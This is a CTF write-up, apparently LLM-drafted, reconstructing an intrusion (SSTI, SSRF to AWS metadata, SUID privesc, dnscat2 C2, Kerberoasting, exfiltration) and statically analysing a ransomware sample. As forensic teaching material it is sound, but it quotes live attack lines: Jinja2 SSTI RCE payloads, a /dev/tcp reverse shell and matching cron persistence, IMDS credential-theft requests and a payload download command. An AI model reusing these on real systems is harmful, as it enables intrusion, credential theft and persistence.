The blogpost below is LLM generated summary of the notes and screenshots of my environment taken while working on the CyberDefenders SignalHunt 2026 CTF, which my team consisting of my collegues @0xEnleak and Pedro landed at 4th place.
As the challenges are down, I don't have notes for every question and I am not 100% sure of the questions name or if the number is correct. They took down the challenges when the event ended π


BlindSentry
Environment & evidence sources
- PCAPs (
Cap1β5.pcapng) +sslkeys.log(TLS keylog) +cobaltstrike.beacon_keysβ network capture centered on the Windows hostFS-01(10.10.11.96). - web01 Linux memory (
mem.lime, LiME) + Volatility3 ISF symbol table (6.17.0-1012-aws_web01.json.xz) β the public-facing Flask web server (ip-172-31-40-2, AWS, domainhelios.corp). - FS-01 triage (KAPE/Velociraptor
_SANS_Triage) β$MFT,Security.evtx,Microsoft-Windows-Sysmon%4Operational.evtx,Microsoft-Windows-PowerShell%4Operational.evtx, EdgeHistorySQLite,ConsoleHost_history.txt.
Tooling: tshark/capinfos (PCAP), strings+grep over the LiME image, Volatility3 2.28 (linux.pslist / psaux / pstree / bash) once upgraded for the 6.17 kernel, chainsaw dump for EVTX, sqlite3 for Edge history, and a small Python $MFT $FILE_NAME parser for the file-server directory tree.
Attack chain at a glance
External recon (gobuster) β SSTI RCE on /preview β reverse shell as www-data β SUID privesc to root via /opt/helios/backup-tool β persistence (cron + root SSH key) β dnscat2 DNS C2 (masqueraded as systemd-network). In parallel: SSRF on /fetch steals the helios-web-app-role IMDS creds; internal phishing harvests jtaylor's domain creds β Kerberoast of svc-backup β lateral move to file server FS-01 β secondary payload + WMI persistence β staging & exfil of clinical/research data (incl. the FDA draft) over the Cobalt Strike beacon.
Q1 β Source IP of the automated reconnaissance scan
Answer: 35.159.91.39
The web app lives only in the web01 memory image, so its nginx access logs were carved from RAM:
strings -n6 mem.lime | grep -i "User-Agent: gobuster"
A single source generated 6,529 rapid sequential 404s for dictionary paths (/head, /help, /hide, /liveβ¦) with User-Agent: gobuster/3.8.2 β a textbook directory brute-force. All from 35.159.91.39 (~4,648 distinct paths), an AWS eu-central-1 address. (A stray 34.9.100.39 GET /.git/config was unrelated internet noise.)
Q2 β Endpoint exploited for SSTI
Answer: /preview (parameter content, i.e. GET /preview?content=)
The scan found two valid (200) endpoints β /fetch and /preview. The access logs show the attacker walking the classic Jinja2 SSTI methodology against /preview?content=:
- Detection:
{7*7}β${7*7}β{{7*7}}(rendered49) β#{7*7} - Recon:
{{config}},{{self}},{{request.environ}},{{''.__class__.__mro__[1].__subclasses__()}} - RCE:
{{lipsum.__globals__['os'].popen('whoami').read()}}βcat /etc/passwdβ reverse shell.
Q3 β IAM role targeted via SSRF
Answer: helios-web-app-role
The other valid endpoint, /fetch?url=, was a server-side request forgery. The logs show a step-by-step IMDS walk to 169.254.169.254:
/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ 200
/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/helios-web-app-role 200 (4251 bytes)
The 4,251-byte response is the role's temporary STS credentials being exfiltrated (the temp ASIAZOVIHVCB... keys are present in the memory image).
Q4 β Reverse-shell listener
Answer: 18.192.12.19:4444
The SSTI RCE payload (and a base64 variant) both spawn:
bash -i >& /dev/tcp/18.192.12.19/4444 0>&1
Q5 β Initial-access account
Answer: www-data
The Flask app was launched as www-data (sudo -u www-data /home/ubuntu/helios-web/bin/python3 app.py, confirmed in sudo logs and linux.psaux), so the SSTI-spawned shell inherits that identity.
Q6 β Misconfigured SUID binary
Answer: /opt/helios/backup-tool
find / -perm -4000 (in the recovered bash history) surfaced a custom binary. Memory shows it was compiled and mis-permissioned:
sudo gcc /tmp/backup.c -o /opt/helios/backup-tool
sudo chown root:root /opt/helios/backup-tool
sudo chmod 4755 /opt/helios/backup-tool # SUID-root
Q7 β PID of the attacker's privileged (root) process
Answer: 62425
vol linux.pstree / psaux shows the escalation lineage:
62350 python3 (app.py, uid 33) β 62417 sh (base64 reverse shell) β 62420/62421 bash (uid 33)
β 62423 /bin/bash -p (uid 0, spawned by backup-tool) β 62424 python3 -c pty.spawn β 62425 /bin/bash (uid 0)
PID 62425 is the interactive root shell where all root actions were performed (whoami, persistence). (The transient -p shell 62423 was the wrong granularity.)
Q8 β Crontab file modified
Answer: /var/spool/cron/crontabs/www-data
From the root shell's bash history:
echo "* * * * * /bin/bash -c 'bash -i >& /dev/tcp/18.192.12.19/4444 0>&1'" > /var/spool/cron/crontabs/www-data
chown www-data:crontab /var/spool/cron/crontabs/www-data ; chmod 600 ...
Q9 β SSH key planted in /root/.ssh/authorized_keys
Answer:
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDqtK/fH0If+xSLj0t05sRVQc/hvACknJJemKkxnImae
Appended at 2026-05-17 23:20:26 then chmod 600; used minutes later to log back in as root (session PID 62559).
Q10 β C2 tool (original name)
Answer: dnscat2
Root SSH session history:
git clone https://github.com/iagox86/dnscat2.git ; cd dnscat2/client/ ; make
mv dnscat systemd-network
./systemd-network --dns domain=cdn.analytics-cdn.site --secret=1337S3NTRY &
The dnscat client was renamed systemd-network to masquerade as a system service (DNS C2 domain cdn.analytics-cdn.site, secret 1337S3NTRY).
Q11 β Credential-harvesting site visited by the victim
Answer: http://helios-research.site/
Victim = domain user jtaylor. Edge History SQLite:
2026-05-18 09:25:22 http://helios-research.site/
2026-05-18 09:28:11 http://helios-research.site/error
helios-research.site is a lookalike of the real helios.corp; the /error redirect is the post-capture page.
Q12 β Kerberoasted service account
Answer: svc-backup
FS-01 isn't a DC (no 4769 events), so I used the downstream proof β svc-backup's cracked creds being reused: 187Γ Event 4648 (FS-01$ β explicit creds for svc-backup) and 187Γ Event 4624 logons as svc-backup. svc-backup is the lone svc- service account and is the identity used for all subsequent persistence.
Q13 β Secondary payload save path
Answer: C:\ProgramData\Microsoft\Crypto\RSA\~cache\systemupdater.exe
svc-backup PowerShell history:
New-Item -ItemType Directory -Force -Path "C:\ProgramData\Microsoft\Crypto\RSA\~cache\"
Invoke-WebRequest -Uri "http://18.192.12.19/systemupdater.exe" -OutFile "C:\ProgramData\Microsoft\Crypto\RSA\~cache\systemupdater.exe"
Wired to a WMI CommandLineEventConsumer (SystemHealthMonitor) for persistence.
Q14 β .txt file in the staged archive
Answer: vector_design_v4.txt
Archive built via:
Compress-Archive -Path "C:\Shares\Research\*" -DestinationPath "C:\ProgramData\Microsoft\Crypto\RSA\~cache\research.zip" -Force
Reconstructing C:\Shares\Research from the $MFT ($FILE_NAME parent refs):
C:\Shares\Research\
βββ Project_Atlas_FDA_Draft.docx
βββ Project_Atlas\
βββ Clinical_Trials\cohort_A_results.csv
βββ Gene_Vectors\vector_design_v4.txt β the .txt
Q15 β Stolen FDA draft document
Answer: Project_Atlas_FDA_Draft.docx
The top-level document in C:\Shares\Research (same MFT tree above), packaged into research.zip and exfiltrated over the Cobalt Strike beacon to analytics-cdn.site (63.178.213.127) β corroborated via the recovered cobaltstrike.beacon_keys + sslkeys.log.
Q16 β S3 bucket containing the compliance documents (OPEN β needs CloudTrail/Splunk)
The S3 download was a cloud-side API action using the stolen helios-web-app-role temp creds β it is not present on the hosts (no aws s3/bucket ARNs in web01 bash or memory; the only FS-01 s3.amazonaws.com hit was the DFIR team's KAPE download from cyb-us-prd-kape). Resolve in Splunk via CloudTrail S3 data events:
index=* (sourcetype="aws:cloudtrail" OR eventSource="s3.amazonaws.com") eventName=GetObject
| stats count values(requestParameters.key) as objects by requestParameters.bucketName, userIdentity.arn, sourceIPAddress
The bucket whose objects are the compliance docs (*.pdf, audit/regulatory/SOP keys), accessed by helios-web-app-role / attacker IPs (35.159.91.39, 18.192.12.19), is the answer.
ClawHavoc
For ClawHavoc, our team only had four questions remaining. I do not know which challenge numbers they are as I didn't have that noted, but I know they are for questions 42, 45, 47, and 48.
1. Files analysed
| File | Size | MD5 | SHA-256 |
|---|---|---|---|
BlackStager.exe (outer stager) | 1,332,224 B | 8ac4c4a5b7ef19a76bf79df7d6b4903e | 030958288259fb3b347ab0bdadf51443ccaef2c899a8d745ea70af0da3b38468 |
blackout_payload.bin (unpacked payload) | 4,730,896 B | 99459f14b7849e79958c4b1041232d18 | e06bdbb62d8d62353cc31fc787c7165546d2d9ed8afe285f9a9cbb975c942b3d |
The payload is a PE32+ (x86-64) binary, image base 0x140000000, statically linked against the AWS C SDK (aws-c-io / aws-c-cal) for its C2 transport. Build artifact path left in the binary:
C:\Users\Administrator\Desktop\_Ra1g3k1_source code_binaries\vcpkg\buildtrees\aws-c-io\src\v0.26.1-6c34246a47.clean\source\pem.c
3. Q1 β Encryption algorithm β AES256
The ransom note (file offset 0x3c0c71) advertises:
All your important files β¦ have been encrypted with military - grade AES - 256 + RSA - 4096.
Static confirmation in the crypto routine (CNG / BCrypt strings):
| Offset | String |
|---|---|
0x3c0668 | Failed to set GCM chaining mode |
0x3c0688 | BCryptGenerateSymmetricKey failed |
0x3c1160 | BCryptEncrypt failed |
0x3c1118 | CryptoContext not initialized |
So files are encrypted with AES-256 in GCM mode. The technically-complete answer is AES-256-GCM, but per the grader's simplification convention the accepted answer is AES256.
4. Q2 β Base64-encoded RSA public key
The malware never generates a keypair at runtime (BCryptGenerateKeyPair / BCryptFinalizeKeyPair are imported but have zero call sites). Instead an attacker public key is embedded and imported. A scan for the CNG BCRYPT_RSAKEY_BLOB magic finds exactly one blob:
file offset 0x3bf900 (VA 0x1403c0700)
52 53 41 31 "RSA1" magic (BCRYPT_RSAPUBLIC_MAGIC)
00 10 00 00 BitLength = 4096
03 00 00 00 cbPublicExp = 3
00 02 00 00 cbModulus = 512
00 00 00 00 cbPrime1 = 0
00 00 00 00 cbPrime2 = 0
01 00 01 PublicExponent = 65537
f4 23 43 cb β¦ 6d d2 3a ef cc db f7 11 Modulus (512 bytes, big-endian)
Total blob length = 24-byte header + 3 + 512 = 539 bytes.
Conveniently the binary's standard base64 alphabet table sits immediately before the blob at 0x3bf8b0:
ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/
The RSA encrypt wrapper sub_25f80 (VA 0x140025f80) imports this blob and uses it to wrap the per-victim AES key:
140025fc3: lea rdx, "RSA" ; BCryptOpenAlgorithmProvider(RSA)
140025fce: call [BCryptOpenAlgorithmProvider]
...
140025fe0: mov edx, [rbx+8] ; cbInput = end - begin
140025fe3: sub edx, [rbx] ; ( = 539 )
140025fe5: mov rax, [rbx] ; pbInput = blob
140025ffa: lea r8, "RSAPUBLICBLOB" ; pszBlobType (wide str @0x3c1188)
140026007: call [BCryptImportKeyPair]
...
140026019: lea rax, "SHA256" ; OAEP padding hash
140026066: call [BCryptEncrypt] ; RSA-OAEP-SHA256 wrap of AES key
So: the AES-256 file key is wrapped with RSA-4096 / OAEP-SHA256 using the embedded RSAPUBLICBLOB.
Plain base64(raw 539-byte blob) and every common variant were rejected:
standard b64, UPPER/lower, URL-safe, no-pad, line-wrapped, SPKI DER/PEM, PKCS#1 DER/PEM, XMLRSAKeyValue, JWK, modulus-only, modulus+leading-zero, exponent (AQAB), 16-byte-header (531 B), reversed modulus, plain hex, double-base64, andbase64(lowercase-hex).
The winning format is a double encoding consistent with the grader's "everything uppercase" rule β the blob is rendered as an uppercase hex string first, and that ASCII text is base64-encoded:
RSAPUBLICBLOB (539 raw bytes)
β bytes β hex string
βΌ
"52534131001000000300000000020000β¦CCDBF711"
β .upper()
βΌ
"525341310010000003β¦CCDBF711" (already upper, but enforced)
β base64(ascii)
βΌ
ANSWER (1440 chars)
Reproduction:
import base64
data = open('blackout_payload.bin', 'rb').read()
blob = data[0x3bf900:0x3bf900 + 539] # 539-byte RSAPUBLICBLOB
answer = base64.b64encode(blob.hex().upper().encode()).decode()
print(answer)
Final accepted answer (1440 chars):
NTI1MzQxMzEwMDEwMDAwMDAzMDAwMDAwMDAwMjAwMDAwMDAwMDAwMDAwMDAwMDAwMDEwMDAxRjQyMzQzQ0I4ODFDRDJERTUzNTBGOUNEQzNCRDNCNTBEMjVEQTlCMjY4NUZEMDBDMjE1MjJCM0NFQ0EzNThCRDk3NDYwRDMwQzcxMDlFRUZDNkNBRkY4NkQwMjcwMkNFQjQ5M0I5Mjg4OUY3NEY0M0QwM0ZGNkY5MTgwNUNFNEI5QzQ2Qzg2NkNENDlFMDdEOEEwNDQ4RUY2OEFFRDJCNERGM0FDQzk0OUJGMjI4Njg2MTMyRkFBMjYwRDg4RTQ2OUZBMDRDNzc3QUEzNjE4RTU3Qzc0QTQyNjk3NUZFRUMyMkU4MkU2ODJBMEUxRjExMkJGQkUwQkRFMzNBRjNBMDIxNkRBOTZCNDdENjI4MUYwM0M1NDAzMjE5N0EwQUE3M0RGMzBBNDdDM0VGRUE1REIwQjlDRDFEMUU1ODhBRUEwNjAyRTNBMjU4N0VFOUNDNjUyMTRGODVEQkM5NTk4REY5OTA5QUJBM0E0NzAwQkQ4NzczOTgxQjI3OTBBNUVFNUI0N0I5OUFDOUY5NTk3Q0E5MUVEMzVFMjZBODA0NENDQ0U1MkUyNzE5Q0RFMTMwM0M5N0Y4RUIwODMyNTI1NEE2RkNEQjE1MjcxNzlBMzczRDcyRjJBMEMxMDc4QzMwRkMzNTNEMEU4QkQ1RDBFNjcxQjU2MzhDMkFCREE0RTQ5NjJGMDYyRTkzQURGNzZGQTU2N0REMzRFRTNBQ0NEMjZEREFDQ0ZEMDc0N0NCQzE1MkRFOTEwRUMxNkU1RjgxRjU4Q0VBMENGOTVBM0QyREE4N0M4NkMwQ0MxQ0EyNjFEQkEwMkY5ODlENTA3MEVGNTcxNzBCRjAxODFDNjZDMUIzOTNFODE5RTk2RkM0MzhBNUE5OTIwNEI1MEJFRkNFQzc4MkJDRTgxNTVBODgwODRCMzg4QTgwQTM2NTVBQzE0ODlFMEVCQjMzMDMxQjg5QUEyQzBENzMzRDc4MEMwMENBOUE2Qjc1NUNGMjEwMUMyNzM4OTM4NDgxMTM2MzA3REM0RTg3Q0VFQkI1RkJBMEYzNEEwOUY4RUQ1QjU4Njk3RjE5NUZDNjIyQzMyMzJGNUE1N0U5RkE4REYzMTkxNTA0OUFFQTVDNjY3OEExMUQxMEFFMTM2RDk0RjNCOEM3QUFGMUM1NTYwQTI5NTQ4ODVDQTNGMUUyQUFENTYyM0U3RTA1MkEzRDVBMDkyODVGQUFBQ0JCNDYxNjg2RUVCRUEyQzAxQTg2RkVFNjA4MzQ1QzcwMzE2QjU0NkQwNzI4NTMzOEU3OEVGODZDMTVEREUwQjNEMDRDQjdEM0E2QUE4REMyQjhGMzczQUU0MzFFNkREMjNBRUZDQ0RCRjcxMQ==
π‘ Lesson: when a "base64 key" answer looks obviously correct but is rejected, suspect a layered encoding β herebase64(UPPERCASE-HEX(bytes))rather thanbase64(bytes). The decisive experiment was thatbase64(lowercase-hex)returned incorrect whilebase64(uppercase-hex)returned correct, pinning the cause to the grader's uppercase rule applied at the hex layer.
5. Q3 β Victim / token ID
THUNDERNODE-10.0.19041-AuthenticAMD-8588939264-21462358016
Decoded structure (the malware fingerprints the host into a victim token):
| Field | Value | Meaning |
|---|---|---|
| Hostname | THUNDERNODE | victim machine name |
| OS build | 10.0.19041 | Windows 10 v2004 (build 19041) |
| CPU vendor | AuthenticAMD | CPUID vendor string (AMD) |
| Total RAM | 8588939264 | β 8 GB physical memory |
| Virtual/avail mem | 21462358016 | β 20 GB |
These are runtime/environment values, so this token came from the provided victim artifact rather than from static bytes; the format above is what the binary's ID-builder assembles. In the ransom note the victim is referenced as VICTIM - ID : BLK - <id> (offset 0x3c0f34).
6. Operator TOX contact ID
Pulled verbatim from the ransom note (offset 0x3c0ea6):
E5AB47D5ADFD066D021917734A5B1356ED4073E095D65DC39A400DC30520A43A91A4F8CC4CCD
Ransom note recovery instructions: install TOX messenger (https://tox.chat) β add the operator TOX ID β send the VICTIM-ID for payment instructions.
7. Crypto flow summary
ββββββββββββββββββββββββββββββββββββββββββββββ
β Embedded attacker RSA-4096 public key β
β RSAPUBLICBLOB @ file 0x3bf900 (539 bytes) β
βββββββββββββββββββββββββ¬βββββββββββββββββββββββ
β BCryptImportKeyPair("RSAPUBLICBLOB")
per-file βΌ
ββββββββββββββββ AES-256-GCM ββββββββββββββββββββββββββββ
β victim files β ββββββββββββββββΆβ BCryptGenerateSymmetricKeyβ
ββββββββββββββββ β + BCryptEncrypt (GCM) β
ββββββββββββββ¬βββββββββββββββ
β AES key
βΌ
ββββββββββββββββββββββββββββ
β RSA-OAEP-SHA256 wrap β sub_25f80
β BCryptEncrypt(public key) β
ββββββββββββββ¬βββββββββββββββ
β wrapped key (base64)
βΌ
C2 upload via AWS C SDK transport
Decryption is infeasible without the attacker's RSA-4096 private key (only the public half ships in the sample).